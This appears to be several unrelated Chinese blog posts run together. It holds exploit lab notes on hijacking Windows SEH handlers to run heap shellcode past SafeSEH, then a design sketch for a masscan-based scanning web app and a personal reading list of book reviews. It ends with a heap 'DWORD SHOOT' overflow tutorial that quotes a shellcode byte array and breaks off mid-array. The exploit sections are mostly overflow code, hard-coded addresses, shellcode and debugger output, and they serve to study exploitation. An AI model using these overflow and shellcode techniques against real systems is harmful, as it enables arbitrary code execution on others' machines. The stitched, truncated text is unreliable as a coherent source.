"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x38\x4f\x15\x00";
char shellcode2[] = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak";
void test(char *input)
{
char buf[200];
strcpy(buf, input);
int zero = 0;
zero = 1 / zero;
}
int main()
{
char *buf = (char*)malloc(500);
strcpy(buf, shellcode2);
test(shellcode2);
return 0;
}
首先利用shellcode2
确定溢出长度,以溢出seh handler
构建shellcode
,并执行,期间遇到了一个问题,每次调试中确定的malloc
返回的地址,每编译一次可能再次执行会变化一次,所以shellcode
确定的地址不一定有用。
所以执行起来也不对
shellcode
对应的堆地址设置成为0x00153630
,重新编译
试用了3
种方式,只有windbg
能够复现,别的都不行。但是证明了利用堆确实可以跳过SafeSEH
。
针对以上这种情况分别在xp sp2
和xp sp3
进行了多次实验,以确定为什么不能成功执行shellcode
。
最终确定主要的原因是,我利用宿主机器编译的代码,复制到虚拟机执行,如果利用windbg
调试,必须两次复制的文件在同一位置,并且测试shellcode
也必须使用windbg
调试测试。如果直接双击,或者使用别的调试器,都不一定会执行。
上一篇分析的SEH
,讲的糊里糊涂的,并且没有ida
载入符号,这里趁着分析堆绕过SafeSEH
再重新跟一下SEH
形成机制。
在遇到异常时,ring3
下首先调用的就是KiUserExceptionDispatcher
在KiUserExceptionDispatcher
中会最先调用_RtlDispatchException@8
去处理异常。如果处理不了,再调用 _ZwContinue@8
或者调用_RtlRaiseException@4
抛出异常。
继续调试,跟进_RtlDispatchException@8
,看看它会不会调用堆中的shellcode
第一个函数RtlCallVectoredExceptionHandlers
涉及到VEH
,这个不太懂,略过。
RtlpGetStackLimits
判断一下栈空间地址合不合法。
RtlpGetRegistrationHead
得到fs:[0]
,因为fs:[0]+4
就是我们覆盖的exception_handler
地址。
之后是对fs
的一些判断,其中有一个比较重要的函数
char __stdcall RtlIsValidHandler(unsigned int a1)
{
int v2; // ebx
int v3; // esi
int v4; // edx
unsigned int v5; // edi
int v6; // ecx
unsigned int v7; // eax
char v8; // [esp+Ch] [ebp-34h]
int v9; // [esp+10h] [ebp-30h]
char v10; // [esp+20h] [ebp-20h]
int v11; // [esp+24h] [ebp-1Ch]
char v12; // [esp+28h] [ebp-18h]
int v13; // [esp+2Ch] [ebp-14h]
int v14; // [esp+30h] [ebp-10h]
int v15; // [esp+34h] [ebp-Ch]
int v16; // [esp+38h] [ebp-8h]
v15 = 0;
v2 = RtlLookupFunctionTable(a1, (unsigned int *)&v13, (int)&v16);
v14 = v2;
if ( v2 && v16 )
{
if ( v2 != -1 || v16 != -1 )
{
v5 = a1 - v13;
v4 = 0;
v3 = v16;
while ( v3 >= v4 )
{
v6 = (v3 + v4) >> 1;
v7 = *(_DWORD *)(v2 + 4 * v6);
if ( v5 < v7 )
{
if ( !v6 )
break;
v3 = v6 - 1;
}
else
{
if ( v5 <= v7 )
return 1;
v4 = v6 + 1;
}
}
RtlInvalidHandlerDetected(a1, v2, v16);
}
return 0;
}
if ( ZwQueryInformationProcess(-1, 34, (int)&v15, 4, 0) >= 0 && v15 & 0x10
|| NtQueryVirtualMemory(-1, a1, 0, &v8, 28, &v12) < 0 )
{
return 1;
}
if ( v10 & 0xF0 )
{
if ( v11 == 0x1000000 )
{
RtlCaptureImageExceptionValues(v9, &v14, &v16);
if ( v14 )
{
if ( v16 )
return 0;
}
}
return 1;
}
RtlInvalidHandlerDetected(a1, -2, -2);
return 0;
}
其判断了虚拟内存和进程的一些信息是否合法。如果不合法会调用 RtlInvalidHandlerDetected
int __stdcall RtlInvalidHandlerDetected(int a1, int a2, int a3)
{
int result; // eax
int v4; // [esp+0h] [ebp-328h]
int v5; // [esp+4h] [ebp-324h]
int v6; // [esp+Ch] [ebp-31Ch]
int v7; // [esp+10h] [ebp-318h]
int v8; // [esp+14h] [ebp-314h]
int *v9; // [esp+50h] [ebp-2D8h]
int *v10; // [esp+54h] [ebp-2D4h]
int v11; // [esp+58h] [ebp-2D0h]
char v12; // [esp+5Ch] [ebp-2CCh]
if ( a2 == -2 && a3 == -2 )
{
v11 = 0;
memset(&v5, 0, 0x4Cu);
memset(&v12, 0, 0x2C8u);
v9 = &v4;
v10 = &v11;
v5 = 1;
v7 = 1;
v4 = -1073741819;
v6 = a1;
v8 = 8;
result = RtlCallKernel32UnhandledExceptionFilter(&v9);
}
return result;
如果上述所有的判断均通过,那么就来到了真正的异常处理函数
接着跟
再跟
再跟
最后调用了我们的seh_exception_handler
,windbg验证一下
进入_RtlpExecuteHandlerForException@20
执行ExecuteHandler@20
跳转到堆中执行
成功执行
至此,基本跟着流程完成了SEH
异常处理的处理流程(其中不涉及内核部分)
测试代码vc6.0编译,win2000测试
#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[] =
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61";
DWORD MyException(void)
{
printf("There is an exception");
return 1;
}
void test(char * input)
{
char str[200];
int zero=0;
__try
{
strcpy(str,input);
zero=1/zero;
}
__except(MyException())
{
}
}
int main()
{
test(shellcode);
return 0;
}
正常运行产生异常
0:000> g
Thu Nov 1 03:57:43.910 2018 (GMT-8): (374.80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fb80 ebx=0012ff68 ecx=61616161 edx=77f96dae esi=0012fba8 edi=0012ff79
eip=61616161 esp=0012fae8 ebp=0012fb08 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
61616161 ?? ???
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012fae4 77f96ba7 0012fba8 0012ff68 0012fbbc 0x61616161
0012fb08 77f96c42 0012fba8 0012ff68 0012fbbc ntdll!ZwSetIoCompletion+0x182
0012fb90 77f9ff6e 0012fba8 0012fbbc 0012fba8 ntdll!ZwSetIoCompletion+0x21d
0012ff78 004010ba 00407030 00401378 00000001 ntdll!KiUserExceptionDispatcher+0xe
0012ff80 00401378 00000001 002f0ba0 002f0bf8 image00400000+0x10ba
0012ffc0 7c581af6 02304b38 0143f6cc 7ffdf000 image00400000+0x1378
0012fff0 00000000 004012c4 00000000 000000c8 KERNEL32!OpenEventA+0x63d
根据调用栈,找到出错函数
分析调试该函数sub_401020
0:000> bp 40107e
0:000> g
Thu Nov 1 04:09:10.129 2018 (GMT-8): Breakpoint 0 hit
eax=00000001 ebx=7ffdf000 ecx=00000000 edx=00000000 esi=00407111 edi=0012ff79
eip=0040107e esp=0012fe88 ebp=0012ff78 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
image00400000+0x107e:
0040107e f7f9 idiv eax,ecx
0:000> p
Thu Nov 1 04:09:18.723 2018 (GMT-8): (80.374): Integer divide-by-zero - code c0000094 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=7ffdf000 ecx=00000000 edx=00000000 esi=00407111 edi=0012ff79
eip=0040107e esp=0012fe88 ebp=0012ff78 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010246
image00400000+0x107e:
0040107e f7f9 idiv eax,ecx
0:000> p
eax=00000001 ebx=7ffdf000 ecx=0012fbbc edx=00000000 esi=00407111 edi=0012ff79
eip=77f9ff64 esp=0012fba0 ebp=0012ff78 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiUserExceptionDispatcher+0x4:
77f9ff64 8b1c24 mov ebx,dword ptr [esp] ss:0023:0012fba0=0012fba8
在调用0040107e f7f9 idiv eax,ecx
之后产生异常,系统最先调用ntdll!KiUserExceptionDispatcher
处理异常,来看该函数对异常做如何处理
继续跟进,在调用sub_77F96BDD`出错
0:000> p
eax=00000001 ebx=0012fba8 ecx=0012fbbc edx=00000000 esi=00407111 edi=0012ff79
eip=77f9ff69 esp=0012fb98 ebp=0012ff78 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiUserExceptionDispatcher+0x9:
77f9ff69 e86f6cffff call ntdll!ZwSetIoCompletion+0x1b8 (77f96bdd)
0:000> g
Thu Nov 1 04:15:30.348 2018 (GMT-8): (80.374): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fb80 ebx=0012ff68 ecx=61616161 edx=77f96dae esi=0012fba8 edi=0012ff79
eip=61616161 esp=0012fae8 ebp=0012fb08 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
61616161 ?? ???
重新调试,继续跟进
再次出错
0:000> p
eax=0012fb80 ebx=0012ff68 ecx=0012fb84 edx=00000000 esi=0012fba8 edi=0012ff79
eip=77f96c3d esp=0012fb10 ebp=0012fb90 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ZwSetIoCompletion+0x218:
77f96c3d e83affffff call ntdll!ZwSetIoCompletion+0x157 (77f96b7c)
0:000> p
Thu Nov 1 04:20:19.410 2018 (GMT-8): (80.374): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fb80 ebx=0012ff68 ecx=61616161 edx=77f96dae esi=0012fba8 edi=0012ff79
eip=61616161 esp=0012fae8 ebp=0012fb08 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
61616161 ?? ???
出错位置
继续跟进,找到最终出错位置
0:000> p
eax=0012fb80 ebx=0012ff68 ecx=61616161 edx=77f96dae esi=0012fba8 edi=0012ff79
eip=77f96ba5 esp=0012faec ebp=0012fb08 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!ZwSetIoCompletion+0x180:
77f96ba5 ffd1 call ecx {61616161}
0:000> p
Thu Nov 1 04:24:39.582 2018 (GMT-8): (80.374): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012fb80 ebx=0012ff68 ecx=61616161 edx=77f96dae esi=0012fba8 edi=0012ff79
eip=61616161 esp=0012fae8 ebp=0012fb08 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
61616161 ?? ???
分析该函数
ecx
由最后一个参数传入
回溯
产生v2
的函数sub_77F96BD6
,该函数就是取得fs:0
中数据
再次分析最先出错的函数
只要将shellcode
或其地址放入这里,造成SEH
异常,即可执行shellcode
。
上述过程分析了栈溢出会造成SEH
代码执行,现在来分析一下为什么
sub_401020
开始时会安装SEH
.text:00401020 push ebp
.text:00401021 mov ebp, esp
.text:00401023 push 0FFFFFFFFh
.text:00401025 push offset stru_4060B0
.text:0040102A push offset __except_handler3
.text:0040102F mov eax, large fs:0
.text:00401035 push eax
.text:00401036 mov large fs:0, esp
.text:0040103D sub esp, 0D4h
结构大概是这样的
+----------------------+
| ret_addre |
+----------------------+
| ebp |
+----------------------+
| seh something |
+----------------------+
| seh something |
+----------------------+
| __except_handler |
+----------------------+
| old fs:0 |
+----------------------+
| | <=== esp(fs:0)
+----------------------+
| local variable stack |
+----------------------+
| local variable stack |
+----------------------+
覆盖箭头位置即可,具体原理看参考
0day2
整体重构以前写的penework,使用flask+vue2前后端分离的方式开发,提高使用效率
前端:
vue2
vue-router
vuex
element-ui
webpack3
后端
python
flask
masscan
nscan
利用vue2 开发前端,element-ui做前端展示组件,vuex做数据存储交换
后端采用mongodb
新建项目时,开启一个masscan扫描,在masscan扫描结束后,利用Nscan得到banner和title
后端api返回数据格式
{
'code': 2000/3000/4000/5000/
'message': xxx,
'data':
}
其中
2000 => 请求成功
4000 => 已知错误
5000 => {
5001: token过期
5002: token非法
}
6000 => 未知错误
token 设计
token = jwt.encode({'time': login_time}, token_key, algorithm)
利用一个装饰器进行token检查
def auth_token(func):
def wrapper(*args, **kwargs):
token = ''
if request.headers['token']:
token = request.headers['token']
decode_token = jwt.decode(token, Config.TOKEN_KEY, algorithm='HS256')
if (int(time.time()) - decode_token['time']) > Config.EXPIRE_TIME
return jsonify({'code':5001, 'message': 'Token Expire Time!'})
return func(*args, **kwargs)
return wrapper
需要利用任务队列来管理新建项目的创建,当有masscan时,只是录入项目的信息,并更新项目的状态为未开始。但没有项目正在扫描时,开启masscan扫描.为了缓解服务器的压力,每次只是运行固定个数的项目。
任务队列,利用celery,broker使用redis
会拥有的功能
前端 40%左右
后端 30%左右
个人阅读书单,每周尽力保持在十个小时左右的阅读时间,阅读的书籍没有特定的范围,其中可能会涉及到历史、人物传记(个人比较喜欢的两大类)、社会,文学等等,纯粹的网络小说可能会很少看,因为以前看过,主要是文笔太差,措辞不考究,读时可能会很爽,读完回味会味同嚼蜡,没啥营养。
先看的电视剧,感觉小说没有电视剧好看,但是小说更加的黑暗,但是文笔明显没有那种大家的感觉,可能更多的是故事性,而不是文笔吧,可以一读,了解了解社会的黑暗吧
书籍说的是一名法国阿尔斯通集团的一个高管被美国构陷的故事。从纯个人的角度出发看待国家之间,政治,经济,文化之间的竞争,看这本书之前需要不对灯塔国抱有特别的情感,比如特别迷恋,特别厌恶都不适合,但是在社会中,更多的是这俩类人。这本书因为华为事件,一下子火起来了,但是个人的读后感,感觉一般,可读性不强,但是很适合对美国抱有各种幻想的国人,特别是年轻人去读一读,因为会粉碎很多不必要的幻想。
乔布斯是一个从始至终的偏执狂,节食,只吃素食,暴戾,专制的一个人,对待艺术与人文一丝不苟,就像书中说的,他具有超越常人的专注力,像激光一般。他的这些缺点和优点把他塑造成了超越常人的天才,成为了改变世界的那类极少数的人,我是无法做到他这样的,所以很佩服他的专注,就像他一直说的一句话
或许他们是别人眼中的疯子,但他们却是我们眼中的天才。因为只有那些疯狂到以为自己能够改变世界的人,才能真正改变世界。
或许只有疯子才会真正的改变世界。
是一本很不错的书,虽然错综复杂,但是很有意思,值得一读
因为比较喜欢大卫芬奇的《社交网络》,而电影是根据这本书改编,所以才看了书。看完结果就是很失望,书写的很糟糕,远远没有电影有趣。
书籍简单的介绍了从facebook创立之前,到创立之后,到拿到巨额融资整个成长过程,每部分写的给我的感觉都很混乱,2020年目前阅读感最次的书籍,没有之一。
书中隐含指出扎克伯格剽窃了双胞胎兄弟的创意,在公司大了之后稀释联合创始人爱德华多的股份,最后赶走肖恩贝克,整个过程都很杂乱的感觉
不建议阅读
书是由多个小故事组成的,比较喜欢前面的几个故事
香魂女
浪进船舱
新市民
溺
暮霭
现代生活
启明星
每个故事感觉文笔都有点像王小波,很抽象,天马行空,每个小故事都蕴含了很多的哲理。
比如比较喜欢的香魂女,最后婆媳关系的和解,互相理解,让儿媳回家,体现了人与人之间互相包容,互相理解的难能可贵。
比如新市民,一对夫妇,从农村来到城市里做生意,男人没有抵住社会中的诱惑,堕落了,找了情人,跟结发妻子离婚了,为了挣快钱,不想着付出,也恰当的批判了,那个时代这种比较普遍的现象。
到后期,作者写的就没有任何规律了,谈酒,谈人生,文字比较生涩,我也就不怎么喜欢了,作为短散文看,只能说还可以
看的苏童的第一部作品,书中包含了两个故事,一个《妻妾成群》,一个《三盏灯》,小说都是以悲剧结尾。
第一个故事是老谋子《大红灯笼高高挂》的原型,说的是一个大学生颂莲,因为遭遇家庭不幸而被卖给陈家做四姨太的故事。颂莲的命运从她吹灭陈家老头给她买的蛋糕那一刻貌似就已经注定了,从初入陈家的种种不屑,到后来逐渐变成其中的一员,期间狠毒的三姨太和身为戏子的四姨太,都对颂莲产生了很大的影响,三姨太因为跟医生偷情,最后别抓投在了井里,在颂莲原本想要依靠的大少爷飞浦是断背,没法抓住生活希望的她,最后发了疯。
第二个故事,说的是一个傻子的故事,有点像阿来的《成埃落定》,在遭遇了战争的村子,所有的村民都拖家带口的离开了村子,而身为傻子的扁金因为寻找自己心爱的鸭子而留在了村里,在战争前夕他遇到了小碗和她的母亲,小碗因为要在船上点灯而去村长家里换油,碰到了恰巧躲在棺材里的扁金,之后扁金和小碗一起回到小碗和妈妈的住处,一艘小破船,小碗点了灯,告诉了扁金这个灯是为了方便爸爸找回来而点的,点上三盏灯,战争中的爸爸,在战争结束后就会回来找他们。并教会了扁金在遭到枪击时,摇摆布大声喊,就不会被枪击中。而后战争就袭击了村子,到处血流成河,扁金在战争后在死去的士兵身上得到了很多的帽子,鞋子等物资,在去找小碗的路上发现了小碗的爸爸,但是小碗的爸爸在没到小破船之前就已经死了,最后是眼盯着船中死去的母女去世的。到最后扁金因为村民的冷漠,而离开了家乡,去寻找小破船。
两个都是悲剧,颂莲在父亲死后,到最后疯了这一段时间,是痛苦的。扁金因为村民的冷漠,战争的影响,到最后出走,小碗母女最后也没能看到回家的爸爸。
书籍的后半段就是一些作者的想法还有一些访谈,可以大概的看看,里面出现了很多的名著和名家列表,可以作为自己的读书列表,其他没什么意思。
建议阅读,孩子读的话,建议初中至高中之间,之后入社会再读可能会有不一样的想法。
第二本金庸武侠小说,因为6月中间有段时间特别忙,忙完又自己放松下来了,所以利用6月的整个业余时间才读完这本书,花了大概36个小时,书确实特别长。
整体感觉还行,中间一段丁春秋和虚竹刚刚出现的描写,读的特别慢,其他的都还行。
经过了三次修订,感觉很多地方为了迎合读者,强行修订,不太好。最后王语嫣和萧大侠的结局实在是有点接受不了。
看过了书,发现段誉和王语嫣这两个人的人设,真是没有电视剧出彩。感觉金老先生其实最开始的打算应该是把段誉作为主角来写,因为萧大侠的人格魅力太强了,才强行把虚竹拉出来,凑成了3男主的小说。
故事很长,孩子读的话,初中应该可以了
五月的最后一天看完的,整体还不错。
小说主要描写的是一群在沙宗琪推拿中心
的盲人推拿工作者,小说描写了各式各样的盲人,他们和我们健全人一样,有各种各样的境遇,各种各样的苦恼,他们每个人都经历着我们健全人没有经历过的很多苦难。但很多人经历过后就沉沦了,还有一部分就像书中的几位主人翁都坚强的活了下来。
可以摆弄时间的小马,天生具有音乐天赋的都红,任劳任怨,诚实憨厚的王大夫,大大咧咧,一心痴迷于婚礼的金嫣,每个人感觉都被作者写活了,很有意思,最后附上书中最喜欢的一句话
形容女孩的好看
比红烧肉都好看
文笔很好,但是明显感觉跟阿来,路遥这类大佬比起来就差了很多。甚至完全没法比。
读起来,故事性还行,但是太过于玛丽苏,没想到88年出版的小说,竟然这么玛丽苏。
书中写的是回族三代人的故事,韩子奇,韩冰玉,韩君壁,包括其父梁玉清,再到小一辈的韩新月,韩天星,整整三代人的故事。不同人物的刻画还算成功,但是三观很多都不认同,故事背景从抗战到**,感觉作者想写那个年代的故事,但是写的又不够深入,只具其形,没有内涵,最后写成了爱情小说。最后把新月写死赚一波眼泪。感觉就是妥妥的韩剧套路。
如果不是很多景色和事物的描写很不错,这类写作技巧也是网文最欠缺的东西,除了这个,故事情节完全可以纳入网文之列。作为初中生读物勉强可以接受,但是得适当引导价值观。
勉强三星半
真的是一部特别特别丧的小说,更丧的就是,这个故事是根据真实故事改编而来。
昨晚读这个小说读到了凌晨一点多,实在是看不下去了,一字一句都有如烧心一般的难受,实在受不了了之后,起来打了接近一个小时游戏,又看了两集动漫,最后困的不行了,才勉强入睡,入睡已经大概凌晨三点半了,早晨睁眼的一瞬间,脑海里全是思琪与伊纹,都是多美好的人啊。翻来覆去睡不着了,决定起床继续读完这本小说。
读完后,心里依然久久不能平复。
小说说的是一个花季少女在十三岁被诱奸和一个文艺女青年被家庭暴力的故事。整个故事太过于黑暗,但却真实。
李国华利用自身的地位,阅历,满嘴文学词藻,去诱奸一个只是十三岁的初中学生房思琪,学生反而怪自己,惩罚自己,最后还畸形的"爱"上了李国华。整个过程,无论是出租车司机,父母家人,哪怕是伊纹,整个社会对于性的压抑和性教育的缺失给了李国华一次又一次的机会,让自己在这条路上越走越远,越走越顺,越来越心安理得。在整个社会的缺失的情况下,思琪一个人在死胡同了走了很久,孤独,寂寞,害怕,最后走不下去,自己疯了。
看完后,其实我对整个社会是深深的失望的,引用书中的一句话
你可以假装世界上没有人以强暴小女孩为乐
但事实存在且高于小说,有时自己反思自己,我作为一个普通人有时又何尝可能不是他们中的一个呢。
最后引用伊纹对怡婷说的话,大家共勉,给生活一点活力,至少是活着的勇气
怡婷,你才十八岁,你有选择,你可以假装世界上没有人以强暴小女孩为乐;假装从没有小女孩被强暴;假装思琪从不存在;假装你从未跟另一个人共享奶嘴、钢琴,从未有另一个人与你有一模一样的胃口和思绪,你可以过一个资产阶级和平安逸的日子;假装世界上没有精神上的癌;假装世界上没有一个地方有铁栏杆,栏杆背后人人精神癌到了末期;你可以假装世界上只有马卡龙、手冲咖啡和进口文具。但是你也可以选择经历所有思琪曾经感受过的痛楚,学习所有她为了抵御这些痛楚付出的努力,从你们出生相处的时光,到你从日记里读来的时光。你要替思琪上大学,念研究所,谈恋爱,结婚,生小孩,也许会被退学,也许会离婚,也许会死胎。但是,思琪连那种最庸俗、呆钝、刻板的人生都没有办法经历。你懂吗?你要经历并牢牢记住她所有的**、思绪、感情、感觉、记忆与幻想,她的爱、讨厌、恐惧、失重、荒芜、柔情和欲望,你要紧紧拥抱着思琪的痛苦,你可以变成思琪,然后,替她活下去,连思琪的份一起好好地活下去。
小说可能有一个唯一的缺点,有很多地方,文艺修饰过度,会使更加易懂的叙述变的晦涩。但是同时也感叹作者小小年纪的处女作就可以有这么深厚的文学功底。真是应了开头李银河老师的那句话,属于老天赏饭的类型。
阿来的作品,获得过第五届茅盾文学奖。这几天五一放假,基本除了偶尔看累了,玩点游戏,都在读书了,花了大概7个小时左右读完的,读完的感觉就俩字:舒服。这类的小说是网文完全无法比拟的。
这种小说属于跟路遥的平凡的世界一个类型的,优美的文字,清晰的逻辑,无论是对人,还是景的描写,都生动有趣。
这天早晨下了雪,是开春以来的第一场雪。只有春雪才会如此滋润绵密,不至于一下来就被风给刮走了,也只有春雪才会铺展得那么深远,才会把满世界的光芒都汇聚起来。
文中有几处形容丝绸的语句都很优美,比如
来自重叠山口以外的汉地丝绸是些多么容易流淌的东西啊。
再有就是通过对环境的描写来烘托人物的性格和交代历史的背景,真是绝了。
整篇文章是通过第一人称视角,讲述一个藏族土司制度下的一个土司二少爷被人称为傻子,但是又不是傻子的故事。涵盖了丰富的少数民族的风情描写,还有各种各样的人文。
可以和平凡的世界一样列入儿子初中必读书单了。
还是很不错的一本书的,对于宗教,社会,人文等等都有一定的独特见解,也回答了自己内心很多的疑问。但是也有部分观点不敢十分苟同,特别是书中刻意淡化现在以色列对中东各国所造成的战争灾难,一开始还没注意到,后来发现作者是以色列人,所有问题也就迎刃而解了。所以无论是多好的数,作者一般都会有私人夹带,无可避免。跟金庸美化家族史一个道理
以戏剧的形式详细的讲述了整个明朝的历史,很有意思,第一次看到这么说历史的,值得一读
以前基本不会看这类武侠小说,破例看了一次,主要因为陈小春演的电视剧,是我最喜欢的几部电视剧之一。说中的各种评论太恶心了,什么都要三观正,不正就不行,也就一个武侠小说而已。但不得不说,双儿是真的好啊
首先简要说一下DWORD SHOORT是怎么形成的,在堆的分配和回收的过程中,会发生链表结构的'拆卸'和'安装',如下图,A为链表结构的前向指针,B为链表的后向指针。只要记住一点,发生DWORD SHOOT时,A的内容会写入B,并且构成溢出后会执行B中指针所指向的代码
+-------+ +--------+
| A |--------->| B |
| |<---------| |
+-------+ +--------+
具体可以通过一个实例来分析
#include <windows.h>
#include <string.h>
// 字符串长度为512
char shellcode[] = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf";
DWORD MyExceptionhandler(void)
{
printf("got an exception, press enter to kill process!\n");
getchar();
ExitProcess(1);
}
int main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
__asm int 3
hp = HeapCreate(0, 0x1000, 0x10000);
h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 200);
memcpy(h1, shellcode, 0x200);
//__asm int 3
__try{
h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8);
}
__except(MyExceptionhandler()){}
return 0;
堆分配的空间是200,但是复制的字符串最大长度是0x200,所以这里肯定会发生溢出,这次无法直接通过windbg打开来调试,因为堆的分配在调试状态下和正常状态不同。
通过od确定溢出点的长度:
可以发现od会将数据写入地址63616164,可以得到溢出长度为212
再根据理论分析一下为什么是212
首先HeapAlloc分配了长度为200的堆空间,头部固定长度为8个字节,之后是空闲块
+------+----------------------------+------------+---------+---------+--------+
| 头部 | 长度为200的数据 | 剩余空间头部 | 前向指针 | 后向指针 | 空闲空间 |
+------+----------------------------+------------+---------+---------+--------+
在od中查看
黑色部分是分配的堆块及其头部八个字节,后面的部分是空闲堆块。堆块头部占用八个字节用C标示,之后就是前后向指针,也就是画出的A和B
DWORD SHOOT就是会将A中的地址,写入B,并会执行B中的地址所指向的代码
根据上面总结出的规律,会报一个上面那个63616164地址访问错误!
要想利用SEH成功执行代码的话,根据上面的分析,我们需要首先把B中的地址换成SEH的handler地址,把A换成shellcode的地址,之后在形成DWORD SHOOT过程中,将handler地址指向shellcode地址,之后发生异常成功执行SEH
直接运行代码,造成异常,通过od查看 SEH chain
可以发现用户自己就一个handler 00401214, SEH chain最上面的就是该异常相对应的异常处理handler指针,可以发现地址为0012FF2c
首先来看0day中给出的shellcode
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
